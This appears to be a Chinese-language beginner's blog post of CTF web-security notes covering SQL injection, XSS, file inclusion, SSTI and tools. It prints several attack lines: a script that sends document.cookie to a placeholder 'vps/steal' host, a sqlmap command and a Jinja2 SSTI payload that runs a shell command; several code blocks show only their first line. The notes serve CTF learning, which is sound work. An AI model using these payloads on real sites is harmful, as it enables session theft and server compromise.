CTF Web安全入门实战笔记
CTF Web安全入门实战笔记
本文记录了近期参加 CTF 比赛的一些 Web 方向题目解题思路与常用技巧,适合入门选手参考。
一、SQL 注入
SQL 注入是 CTF Web 题中出现频率最高的考点之一,常见变体包括:
- 联合注入(UNION-based):通过
ORDER BY确定列数,再用UNION SELECT带出数据。 - 盲注(Blind):页面无回显时,利用布尔或时间差进行逐字节爆破。
- 报错注入:借助
extractvalue、updatexml等函数将数据带入报错信息。
常用 Payload
1 | -- 判断注入点 |
使用 SQLMap 可以大幅提升效率:
1 | sqlmap -u "http://target.com/index.php?id=1" --dbs --batch |
二、XSS(跨站脚本)
XSS 在 CTF 中通常以「偷 Cookie」或「绕过过滤」的形式出现。
反射型 XSS
1 | <script>document.location='http://vps/steal?c='+document.cookie</script> |
绕过常见过滤
1 | <!-- 大小写绕过 --> |
三、文件包含(LFI/RFI)
本地文件包含常见利用方式:
1 | # 读取敏感文件 |
四、命令执行(RCE)
CTF 中常见的 RCE 场景包括:
- PHP
eval、system、exec函数直接调用 - SSTI(服务端模板注入)
- 反序列化漏洞
SSTI 快速检测
1 | {{7*7}} # Jinja2/Twig → 返回 49 |
Jinja2 SSTI 利用读文件:
1 | {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
五、工具与脚本推荐
| 工具 | 用途 |
|---|---|
| Burp Suite | 流量拦截、重放、爆破 |
| SQLMap | 自动化 SQL 注入 |
| Dirsearch | 目录扫描 |
| Gobuster | 子域名/目录枚举 |
| Hackbar | 浏览器快速测试插件 |
六、解题方法论
- 信息收集:查看页面源码、HTTP 响应头、robots.txt、备份文件(
.bak、.swp)。 - 功能点测试:对所有输入点进行注入、XSS、文件上传等基础测试。
- 代码审计:如果题目提供源码,优先寻找危险函数调用链。
- 查阅 Writeup:赛后学习他人解题思路,积累经验。
总结
CTF Web 方向核心在于对漏洞原理的深刻理解,而不是单纯依赖工具。建议平时多做靶场(如 HackTheBox、NSSCTF、BUUCTF),结合实际比赛巩固技能。
欢迎交流!如有问题可在评论区留言。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Enna's Security Blog!
